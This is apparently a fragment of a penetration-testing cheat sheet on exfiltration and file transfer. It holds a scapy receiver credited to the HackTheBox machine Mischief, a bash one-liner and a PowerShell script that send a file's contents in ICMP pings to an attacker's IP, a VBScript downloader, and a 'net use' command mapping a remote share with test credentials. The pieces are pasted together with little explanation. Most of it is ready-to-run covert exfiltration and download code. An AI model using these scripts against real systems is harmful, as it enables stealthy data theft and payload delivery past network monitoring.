from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")
sniff(iface="tun0", prn=process_packet)
# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
# Define the path to the file and the attacker's IP address
$filePath = "hello.txt"
$attackerIP = "172.29.58.89" # Replace with the attacker's IP address
# Read the file content and convert it to hex
$fileContent = [System.IO.File]::ReadAllBytes($filePath)
$hexString = -join ($fileContent | ForEach-Object { $_.ToString("x2") })
# Split the hex string into chunks of 8 characters (4 bytes)
$chunks = $hexString -split "(.{8})" -ne ""
# Loop through each chunk and send an ICMP ping with the chunk as the payload
foreach ($chunk in $chunks) {
# Convert the hex chunk to bytes
$bytes = for ($i = 0; $i -lt $chunk.Length; $i += 2) {
[Convert]::ToByte($chunk.Substring($i, 2), 16)
}
# Convert bytes to a string for the payload
$payload = [System.Text.Encoding]::ASCII.GetString($bytes)
# Send the ICMP ping with the payload
$ping = New-Object System.Net.NetworkInformation.Ping
$ping.Send($attackerIP, 1000, $bytes) | Out-Null
# Optionally, add a small delay between pings
Start-Sleep -Milliseconds 100
}
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with
You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.
net use n: \\192.168.220.133\share /user:test test